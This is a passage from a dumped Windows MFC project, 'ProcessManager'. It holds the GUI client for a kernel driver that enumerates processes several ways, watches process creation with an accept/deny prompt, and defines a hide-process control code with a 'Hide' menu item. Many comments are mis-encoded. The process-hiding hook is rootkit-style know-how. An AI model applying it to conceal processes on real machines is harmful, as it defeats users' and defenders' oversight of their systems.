_PROCESS_INFORMATION_OWN\r\n{\r\n\tULONG_PTR NumberOfEntry;\r\n\tPROCESS_INFORMATION_ENTRY Entry[1];\r\n}PROCESS_INFORMATION_OWN, *PPROCESS_INFORMATION_OWN;\r\n\r\n\r\nclass CEnumProcess : public CDialogEx\r\n{\r\n\tDECLARE_DYNAMIC(CEnumProcess)\r\n\r\npublic:\r\n\tCEnumProcess(CWnd* pParent = NULL); // ׼캯\r\n\tvirtual ~CEnumProcess();\r\n\tPPROCESS_INFORMATION_OWN ProcessInformation;\r\n\tVOID CEnumProcess::EnumProcess(ULONG_PTR Code);\r\n\tVOID AddItemToControlList(PPROCESS_INFORMATION_OWN ProcessInformation);\r\n// Ի\r\n\tenum { IDD = IDD_DIALOG_ENUMPROCESS };\r\n\r\nprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tafx_msg void OnBnClickedButtonPspcidtable();\r\n\tafx_msg void OnBnClickedButtonActiveprocesslinks();\r\n\tafx_msg void OnBnClickedButtonOpenprocess();\r\n\tCListCtrl m_List_EnumProcess;\r\n\tvirtual BOOL OnInitDialog();\r\n\tafx_msg void OnRclickListProcess(NMHDR *pNMHDR, LRESULT *pResult);\r\n\tafx_msg void OnMenuHide();\r\n};\r\n\r\n\r\n\r\n" }, { "path": "ProcessManager/ProcessManager/Common.cpp", "content": "#include \"StdAfx.h\"\r\n#include \"Common.h\"\r\n\r\n\r\nCCommon::CCommon(void)\r\n{\r\n\tDeviceHandle = NULL;\r\n}\r\n\r\n\r\nCCommon::~CCommon(void)\r\n{\r\n}\r\n\r\n\r\nHANDLE OpenDevice(LPCTSTR wzLinkPath)\r\n{\r\n\tHANDLE hDevice = CreateFile(wzLinkPath,\r\n\t\tGENERIC_READ | GENERIC_WRITE,\r\n\t\tFILE_SHARE_READ | FILE_SHARE_WRITE,\r\n\t\tNULL,\r\n\t\tOPEN_EXISTING,\r\n\t\tFILE_ATTRIBUTE_NORMAL,\r\n\t\tNULL);\r\n\tif (hDevice == INVALID_HANDLE_VALUE)\r\n\t{\r\n\t}\r\n\treturn hDevice;\r\n}" }, { "path": "ProcessManager/ProcessManager/Common.h", "content": "#pragma once\r\n#include \r\n#define CTL_ENUMPROCESSBYOPENPROCESS \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n#define CTL_ENUMPROCESSACTIVELIST \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x831,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n#define CTL_ENUMPROCESSPSPCIDTABLE \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x832,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n#define CTL_HIDEPROCESS \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x833,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n\r\n#define CTL_MONITORPROCESS \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x834,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n#define CTL_GETRPROCESSINFOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x835,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n#define CTL_SUSMONITOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x836,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n\r\nclass CCommon\r\n{\r\npublic:\r\n\tCCommon(void);\r\n\t~CCommon(void);\r\n\tHANDLE DeviceHandle;\r\n\t\r\n};\r\nHANDLE OpenDevice(LPCTSTR wzLinkPath);\r\n" }, { "path": "ProcessManager/ProcessManager/Monitor.cpp", "content": "// Monitor.cpp : 实现文件\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"ProcessManager.h\"\r\n#include \"Common.h\"\r\n#include \"Monitor.h\"\r\n#include \"afxdialogex.h\"\r\n#include \"MonitorProcess.h\"\r\nextern CCommon Common;\r\n\r\n#define WM_DLG WM_USER+10\r\n// CMonitor 对话框\r\nHANDLE g_hEvent[3] = {0};\r\nIMPLEMENT_DYNAMIC(CMonitor, CDialogEx)\r\n\r\nCMonitor::CMonitor(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(CMonitor::IDD, pParent)\r\n\t, m_ShowMoni(_T(\"\"))\r\n{\r\n\r\n}\r\n\r\nCMonitor::~CMonitor()\r\n{\r\n}\r\n\r\nvoid CMonitor::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_EDIT_ShowMonitor, m_ShowMonitor);\r\n\tDDX_Text(pDX, IDC_EDIT_ShowMonitor, m_ShowMoni);\r\n}\r\n\r\n\r\nBEGIN_MESSAGE_MAP(CMonitor, CDialogEx)\r\n\tON_MESSAGE(WM_DLG,OnNotifyDlg) \r\n\tON_BN_CLICKED(IDC_BUTTONOPEN, &CMonitor::OnBnClickedButtonopen)\r\n\tON_BN_CLICKED(IDC_BUTTONSUS, &CMonitor::OnBnClickedButtonsus)\r\n\tON_BN_CLICKED(IDC_BUTTON_GOON, &CMonitor::OnBnClickedButtonGoon)\r\n\tON_BN_CLICKED(IDC_BUTTON_STOP, &CMonitor::OnBnClickedButtonStop)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CMonitor 消息处理程序\r\n\r\n\r\nBOOL CMonitor::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// TODO: 在此添加额外的初始化\r\n\r\n\treturn TRUE; // return TRUE unless you set the focus to a control\r\n\t// 异常: OCX 属性页应返回 FALSE\r\n}\r\n\r\n\r\n\r\nDWORD CMonitor::ThreadProc(LPVOID lPParam)\r\n{\r\n\tCMonitor* This = (CMonitor*)lPParam;\r\n\tDWORD dwReturnSize = 0;\r\n\tDWORD dwRet = 0;\r\n\r\n\tULONG i = 0;\r\n\tfor (i=0;i<3;i++)\r\n\t{\r\n\t\tg_hEvent[i] = CreateEvent(NULL,TRUE,FALSE,NULL);\r\n\t}\r\n\r\n\tdwRet = DeviceIoControl(Common.DeviceHandle,CTL_MONITORPROCESS,\r\n\t\tg_hEvent,\r\n\t\tsizeof(ULONG_PTR)*3,\r\n\t\tNULL,\r\n\t\t0,\r\n\t\t&dwReturnSize,\r\n\t\tNULL);\r\n\tif(dwRet==0)\r\n\t{\r\n\t\t::MessageBox(NULL,L\"Error\",L\"Error\",1);\r\n\t}\r\n\twhile (This->m_bOk)\r\n\t{\r\n\t\twhile (WaitForSingleObject(g_hEvent[0],1000)==WAIT_OBJECT_0)\r\n\t\t{\r\n\t\t\tmemset(&This->Msg,0,sizeof(This->Msg));\r\n\r\n\t\t\tdwRet = DeviceIoControl(Common.DeviceHandle,CTL_GETRPROCESSINFOR,\r\n\t\t\t\tNULL,\r\n\t\t\t\t0,\r\n\t\t\t\t&This->Msg,\r\n\t\t\t\tsizeof(This->Msg),\r\n\t\t\t\t&dwReturnSize,\r\n\t\t\t\tNULL);\r\n\r\n\r\n\t\t\tif (dwRet==0)\r\n\t\t\t{\r\n\r\n\r\n\t\t\t}\r\n\r\n\t\t\tThis->SendMessage(WM_DLG,NULL,NULL);\r\n\r\n\r\n\t\t\tSleep(1);\r\n\t\t}\r\n\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\n\r\n\r\nLRESULT CMonitor::OnNotifyDlg(WPARAM wParam,LPARAM lParam)\r\n{\r\n\t\r\n\tMonitorProcess *dlg = new MonitorProcess(NULL);\r\n\r\n\tdlg->Create(IDD_DIALOG_MESSAGE,0);\r\n\r\n\r\n\tif (Msg.ulCreate==0)\r\n\t{\r\n\t\tCString strTemp = L\"进程销毁\\r\\n\";\r\n\r\n\r\n\t\tstrTemp+=Msg.wzProcessPath;\r\n\r\n\r\n\t\tdlg->m_EditControl.SetWindowText(strTemp);\r\n\t}\r\n\r\n\telse\r\n\t{\r\n\t\tCString strTemp = L\"进程创建\\r\\n\";\r\n\t\t\r\n\t\tstrTemp+=Msg.wzProcessPath;\r\n\t\r\n\t\tdlg->m_EditControl.SetWindowText(strTemp);\r\n\t\tm_ShowMoni+=strTemp;\r\n\t\tm_ShowMoni+=\"\\r\\n\";\r\n\t\tUpdateData(FALSE);\r\n\t}\r\n\r\n\tdlg->ShowWindow(SW_SHOW);\r\n\r\n\treturn TRUE;\r\n}\r\n\r\n\r\nvoid CMonitor::OnBnClickedButtonopen()\r\n{\r\n\tm_bOk = TRUE;\r\n\tm_hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,this,0,&m_dwThreadID);\r\n}\r\n\r\n\r\nvoid CMonitor::OnBnClickedButtonsus()\r\n{\r\n\t\r\n}\r\n\r\n\r\nvoid CMonitor::OnBnClickedButtonGoon()\r\n{\r\n\t//TerminateThread()\r\n}\r\n\r\n\r\nvoid CMonitor::OnBnClickedButtonStop()\r\n{\r\n\tTerminateThread(m_hThread,0);\r\n\tBOOL dwRet;\r\n\tULONG dwReturnSize;\r\n\tdwRet = DeviceIoControl(Common.DeviceHandle,CTL_SUSMONITOR,\r\n\t\tNULL,\r\n\t\t0,\r\n\t\tNULL,\r\n\t\t0,\r\n\t\t&dwReturnSize,\r\n\t\tNULL);\r\n}\r\n" }, { "path": "ProcessManager/ProcessManager/Monitor.h", "content": "#pragma once\r\n#include \"resource.h\"\r\n#include \"afxwin.h\"\r\n// CMonitor Ի\r\n\r\nclass CMonitor : public CDialogEx\r\n{\r\n\tDECLARE_DYNAMIC(CMonitor)\r\n\r\npublic:\r\n\tCMonitor(CWnd* pParent = NULL); // ׼캯\r\n\tvirtual ~CMonitor();\r\n\r\n// Ի\r\n\tenum { IDD = IDD_DIALOG_MONITOR };\r\n\t\tHANDLE m_hThread;\r\n\t\tstatic DWORD WINAPI ThreadProc(LPVOID lPParam);\r\n\t\tDWORD m_dwThreadID;\r\n\r\n\t\tBOOL m_bOk;\r\n\t\tstruct \r\n\t\t{\r\n\t\t\tULONG ulCreate;\r\n\t\t\tWCHAR wzProcessPath[512];\r\n\r\n\t\t}Msg;\r\n\r\n\r\nprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\tafx_msg LRESULT OnNotifyDlg(WPARAM wParam,LPARAM lParam);\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tvirtual BOOL OnInitDialog();\r\n\tCEdit m_ShowMonitor;\r\n\tCString m_ShowMoni;\r\n\tafx_msg void OnBnClickedButtonopen();\r\n\tafx_msg void OnBnClickedButtonsus();\r\n\tafx_msg void OnBnClickedButtonGoon();\r\n\tafx_msg void OnBnClickedButtonStop();\r\n};\r\n" }, { "path": "ProcessManager/ProcessManager/MonitorProcess.cpp", "content": "// MonitorProcess.cpp : ʵļ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"ProcessManager.h\"\r\n#include \"MonitorProcess.h\"\r\n#include \"afxdialogex.h\"\r\n#include \"Monitor.h\"\r\n\r\n// MonitorProcess Ի\r\n\r\nextern HANDLE g_hEvent[3];\r\n\r\nIMPLEMENT_DYNAMIC(MonitorProcess, CDialogEx)\r\n\r\nMonitorProcess::MonitorProcess(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(MonitorProcess::IDD, pParent)\r\n{\r\n\r\n}\r\n\r\nMonitorProcess::~MonitorProcess()\r\n{\r\n}\r\n\r\nvoid MonitorProcess::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_EDIT, m_EditControl);\r\n}\r\n\r\n\r\nBEGIN_MESSAGE_MAP(MonitorProcess, CDialogEx)\r\n\tON_BN_CLICKED(IDC_BUTTON_DENY, &MonitorProcess::OnBnClickedButtonDeny)\r\n\tON_BN_CLICKED(IDC_BUTTON_ACCEPT, &MonitorProcess::OnBnClickedButtonAccept)\r\n\tON_WM_TIMER()\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// MonitorProcess Ϣ\r\n\r\n\r\nvoid MonitorProcess::OnBnClickedButtonDeny()\r\n{\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\tif (g_hEvent[2]!=NULL)\r\n\t{\r\n\t\tSetEvent(g_hEvent[2]);\r\n\r\n\t\tResetEvent(g_hEvent[2]);\r\n\t}\r\n\r\n\tOnOK();\r\n}\r\n\r\n\r\nvoid MonitorProcess::OnBnClickedButtonAccept()\r\n{\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\r\n\tif (g_hEvent[1]!=NULL)\r\n\t{\r\n\t\tSetEvent(g_hEvent[1]);\r\n\r\n\t\tResetEvent(g_hEvent[1]);\r\n\t}\r\n\r\n\r\n\tOnOK();\r\n}\r\n\r\n\r\nBOOL MonitorProcess::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// TODO: ڴӶijʼ\r\n\r\n\tm_ulCount = 3;\r\n\r\n\tModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW);//չߴģʽֹʾͼ\r\n\tCRect rectWorkArea;\r\n\tSystemParametersInfoW(SPI_GETWORKAREA,0,&rectWorkArea,SPIF_SENDCHANGE);\r\n\r\n\t//öԻС\r\n\tCRect rectDlg;\r\n\tGetWindowRect(&rectDlg);\r\n\tint nW = rectDlg.Width();\r\n\tint nH = rectDlg.Height();\r\n\r\n\t//õ½\r\n\t::SetWindowPos(this->m_hWnd,HWND_BOTTOM,\r\n\t\trectWorkArea.right-nW-6,rectWorkArea.bottom-nH,\r\n\t\tnW,nH,\r\n\t\tSWP_NOZORDER);\r\n\r\n\tSetTimer(0,1000,NULL);\r\n\r\n\treturn TRUE; // return TRUE unless you set the focus to a control\r\n\t// 쳣: OCX ҳӦ FALSE\r\n}\r\n\r\n\r\nvoid MonitorProcess::OnTimer(UINT_PTR nIDEvent)\r\n{\r\n\t// TODO: ڴϢ/Ĭֵ\r\n\r\n\r\n\tswitch (nIDEvent)\r\n\t{\r\n\tcase 0://ʱԶ\r\n\t\t{\r\n\t\t\tif(m_ulCount==0)\r\n\t\t\t{\r\n\t\t\t\tKillTimer(nIDEvent);\r\n\r\n\r\n\t\t\t\tif (g_hEvent[1]!=NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\tSetEvent(g_hEvent[1]);\r\n\r\n\t\t\t\t\tResetEvent(g_hEvent[1]);\r\n\t\t\t\t}\r\n\t\t\t\tSendMessage(WM_CLOSE);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tm_ulCount--;\r\n\t\t\r\n\t\t}\r\n\t\t\r\n\t}\r\n\tCDialogEx::OnTimer(nIDEvent);\r\n}\r\n" }, { "path": "ProcessManager/ProcessManager/MonitorProcess.h", "content": "#pragma once\r\n#include \"afxwin.h\"\r\n#include \"resource.h\"\r\n\r\n// MonitorProcess Ի\r\n\r\nclass MonitorProcess : public CDialogEx\r\n{\r\n\tDECLARE_DYNAMIC(MonitorProcess)\r\n\r\npublic:\r\n\tMonitorProcess(CWnd* pParent = NULL); // ׼캯\r\n\tvirtual ~MonitorProcess();\r\n\t\tULONG m_ulCount;\r\n// Ի\r\n\tenum { IDD = IDD_DIALOG_MESSAGE };\r\n\r\nprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tCEdit m_EditControl;\r\n\tafx_msg void OnBnClickedButtonDeny();\r\n\tafx_msg void OnBnClickedButtonAccept();\r\n\tvirtual BOOL OnInitDialog();\r\n\tafx_msg void OnTimer(UINT_PTR nIDEvent);\r\n};\r\n" }, { "path": "ProcessManager/ProcessManager/ProcessManager.cpp", "content": "\r\n// ProcessManager.cpp : ӦóΪ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"ProcessManager.h\"\r\n#include \"ProcessManagerDlg.h\"\r\n\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\n// CProcessManagerApp\r\n\r\nBEGIN_MESSAGE_MAP(CProcessManagerApp, CWinApp)\r\n\tON_COMMAND(ID_HELP, &CWinApp::OnHelp)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CProcessManagerApp \r\n\r\nCProcessManagerApp::CProcessManagerApp()\r\n{\r\n\t// ֧\r\n\tm_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;\r\n\r\n\t// TODO: ڴ˴ӹ룬\r\n\t// Ҫijʼ InitInstance \r\n}\r\n\r\n\r\n// Ψһһ CProcessManagerApp \r\n\r\nCProcessManagerApp theApp;\r\n\r\n\r\n// CProcessManagerApp ʼ\r\n\r\nBOOL CProcessManagerApp::InitInstance()\r\n{\r\n\t// һ Windows XP ϵӦó嵥ָҪ\r\n\t// ʹ ComCtl32.dll 汾 6 ߰汾ÿӻʽ\r\n\t//Ҫ InitCommonControlsEx()򣬽޷ڡ\r\n\tINITCOMMONCONTROLSEX InitCtrls;\r\n\tInitCtrls.dwSize = sizeof(InitCtrls);\r\n\t// ΪҪӦóʹõ\r\n\t// ؼࡣ\r\n\tInitCtrls.dwICC = ICC_WIN95_CLASSES;\r\n\tInitCommonControlsEx(&InitCtrls);\r\n\r\n\tCWinApp::InitInstance();\r\n\r\n\r\n\tAfxEnableControlContainer();\r\n\r\n\t// shell ԷԻ\r\n\t// κ shell ͼؼ shell бͼؼ\r\n\tCShellManager *pShellManager = new CShellManager;\r\n\r\n\t// ׼ʼ\r\n\t// δʹЩܲϣС\r\n\t// տִļĴСӦƳ\r\n\t// Ҫضʼ\r\n\t// ڴ洢õע\r\n\t// TODO: Ӧʵ޸ĸַ\r\n\t// ޸Ϊ˾֯\r\n\tSetRegistryKey(_T(\"ӦóɵıӦó\"));\r\n\r\n\tCProcessManagerDlg dlg;\r\n\tm_pMainWnd = &dlg;\r\n\tINT_PTR nResponse = dlg.DoModal();\r\n\tif (nResponse == IDOK)\r\n\t{\r\n\t\t// TODO: ڴ˷ôʱ\r\n\t\t// ȷرնԻĴ\r\n\t}\r\n\telse if (nResponse == IDCANCEL)\r\n\t{\r\n\t\t// TODO: ڴ˷ôʱ\r\n\t\t// ȡرնԻĴ\r\n\t}\r\n\r\n\t// ɾ洴 shell \r\n\tif (pShellManager != NULL)\r\n\t{\r\n\t\tdelete pShellManager;\r\n\t}\r\n\r\n\t// ڶԻѹرգԽ FALSE Ա˳Ӧó\r\n\t// ӦóϢá\r\n\treturn FALSE;\r\n}\r\n\r\n" }, { "path": "ProcessManager/ProcessManager/ProcessManager.h", "content": "\r\n// ProcessManager.h : PROJECT_NAME Ӧóͷļ\r\n//\r\n\r\n#pragma once\r\n\r\n#ifndef __AFXWIN_H__\r\n\t#error \"ڰļ֮ǰstdafx.h PCH ļ\"\r\n#endif\r\n\r\n#include \"resource.h\"\t\t// \r\n\r\n\r\n// CProcessManagerApp:\r\n// йشʵ֣ ProcessManager.cpp\r\n//\r\n\r\nclass CProcessManagerApp : public CWinApp\r\n{\r\npublic:\r\n\tCProcessManagerApp();\r\n\r\n// д\r\npublic:\r\n\tvirtual BOOL InitInstance();\r\n\r\n// ʵ\r\n\r\n\tDECLARE_MESSAGE_MAP()\r\n};\r\n\r\nextern CProcessManagerApp theApp;" }, { "path": "ProcessManager/ProcessManager/ProcessManager.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {4845A0BA-A0B5-4469-BD9F-AF259356D017}\r\n ProcessManager\r\n MFCProj\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n false\r\n true\r\n _DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n _DEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n false\r\n _DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n _DEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n false\r\n true\r\n NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n NDEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n false\r\n NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n NDEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "ProcessManager/ProcessManager/ProcessManager.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n {dae07ed6-6d40-4c62-b5fe-209249ab3b0f}\r\n \r\n \r\n {4c514bf4-d30b-4b1d-a2fc-d299d6ad66e0}\r\n \r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n 资源文件\r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 公共\r\n \r\n \r\n Process\r\n \r\n \r\n 头文件\r\n \r\n \r\n Process\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 公共\r\n \r\n \r\n Process\r\n \r\n \r\n 源文件\r\n \r\n \r\n Process\r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n" }, { "path": "ProcessManager/ProcessManager/ProcessManagerDlg.cpp", "content": "\r\n// ProcessManagerDlg.cpp : ʵļ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"ProcessManager.h\"\r\n#include \"ProcessManagerDlg.h\"\r\n#include \"afxdialogex.h\"\r\n#include \"Resource.h\"\r\n#include \"Common.h\"\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\nCCommon Common;\r\n\r\nint dpix;\r\nint dpiy;\r\n\r\n// Ӧó򡰹ڡ˵ CAboutDlg Ի\r\n\r\nclass CAboutDlg : public CDialogEx\r\n{\r\npublic:\r\n\tCAboutDlg();\r\n\r\n// Ի\r\n\tenum { IDD = IDD_ABOUTBOX };\r\n\r\n\tprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\r\n// ʵ\r\nprotected:\r\n\tDECLARE_MESSAGE_MAP()\r\n};\r\n\r\nCAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)\r\n{\r\n}\r\n\r\nvoid CAboutDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n}\r\n\r\nBEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CProcessManagerDlg Ի\r\n\r\n\r\n\r\n\r\nCProcessManagerDlg::CProcessManagerDlg(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(CProcessManagerDlg::IDD, pParent)\r\n{\r\n\tm_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);\r\n}\r\n\r\nvoid CProcessManagerDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_TAB1, m_TabMain);\r\n}\r\n\r\nBEGIN_MESSAGE_MAP(CProcessManagerDlg, CDialogEx)\r\n\tON_WM_SYSCOMMAND()\r\n\tON_WM_PAINT()\r\n\tON_WM_QUERYDRAGICON()\r\n\tON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::*)(WPARAM,LPARAM))OnIconNotify) \r\n\tON_NOTIFY(TCN_SELCHANGE, IDC_TAB1, &CProcessManagerDlg::OnSelchangeTabMain)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CProcessManagerDlg Ϣ\r\n\r\nBOOL CProcessManagerDlg::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// ...˵ӵϵͳ˵С\r\n\r\n\t// IDM_ABOUTBOX ϵͳΧڡ\r\n\tASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);\r\n\tASSERT(IDM_ABOUTBOX < 0xF000);\r\n\r\n\tCMenu* pSysMenu = GetSystemMenu(FALSE);\r\n\tif (pSysMenu != NULL)\r\n\t{\r\n\t\tBOOL bNameValid;\r\n\t\tCString strAboutMenu;\r\n\t\tbNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);\r\n\t\tASSERT(bNameValid);\r\n\t\tif (!strAboutMenu.IsEmpty())\r\n\t\t{\r\n\t\t\tpSysMenu->AppendMenu(MF_SEPARATOR);\r\n\t\t\tpSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);\r\n\t\t}\r\n\t}\r\n\r\n\t// ô˶ԻͼꡣӦóڲǶԻʱܽԶ\r\n\t// ִд˲\r\n\tSetIcon(m_hIcon, TRUE);\t\t\t// ôͼ\r\n\tSetIcon(m_hIcon, FALSE);\t\t// Сͼ\r\n\r\n\t// TODO: ڴӶijʼ\r\n\r\n\t// TODO: ڴӶijʼ\r\n\tint dpix;\r\n\tint dpiy;\r\n\r\n\r\n\t//ʼTab\r\n\tm_TabMain.InsertItem(0, _T(\"Ϣ\")); \r\n\tm_TabMain.InsertItem(1, _T(\"̼\")); \r\n\r\n\r\n\r\n\t//ԶԻ\r\n\tEnumProcess.Create(IDD_DIALOG_ENUMPROCESS,GetDlgItem(IDC_TAB1));\r\n\tMonitor.Create(IDD_DIALOG_MONITOR,GetDlgItem(IDC_TAB1));\r\n\r\n\tCRect tabRect;\r\n\tGetWindowRect(&tabRect);\r\n\tCPaintDC dc(this);\r\n\tdpix = GetDeviceCaps(dc.m_hDC,LOGPIXELSX);\r\n\tdpiy = GetDeviceCaps(dc.m_hDC,LOGPIXELSY);\r\n\ttabRect.bottom += (LONG)(1+21*(dpiy/96.0));\r\n\tMoveWindow(&tabRect);\r\n\tm_TabMain.GetClientRect(&tabRect); // ȡǩؼͻRect \r\n\r\n\t// tabRectʹ串ǷΧʺϷñǩҳ \r\n\ttabRect.left += 1; \r\n\ttabRect.right -= 1; \r\n\ttabRect.top += 25; \r\n\ttabRect.bottom -= 1; \r\n\r\n\t// ݵõtabRectm_jzmDlgӶԻ򣬲Ϊʾ \r\n\tEnumProcess.SetWindowPos(NULL, tabRect.left, tabRect.top, tabRect.Width(), tabRect.Height(), SWP_SHOWWINDOW);\r\n\tMonitor.SetWindowPos(NULL, tabRect.left, tabRect.top, tabRect.Width(), tabRect.Height(), SWP_HIDEWINDOW);\r\n\r\n\tCommon.DeviceHandle = OpenDevice(L\"\\\\\\\\.\\\\ProcessManagerLinkName\");//ProcessManagerLinkName\r\n\tif(Common.DeviceHandle ==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tVOID ContructNotifyConData();\r\n\treturn TRUE; // ǽõؼ򷵻 TRUE\r\n}\r\n\r\nvoid CProcessManagerDlg::OnSysCommand(UINT nID, LPARAM lParam)\r\n{\r\n\tif ((nID & 0xFFF0) == 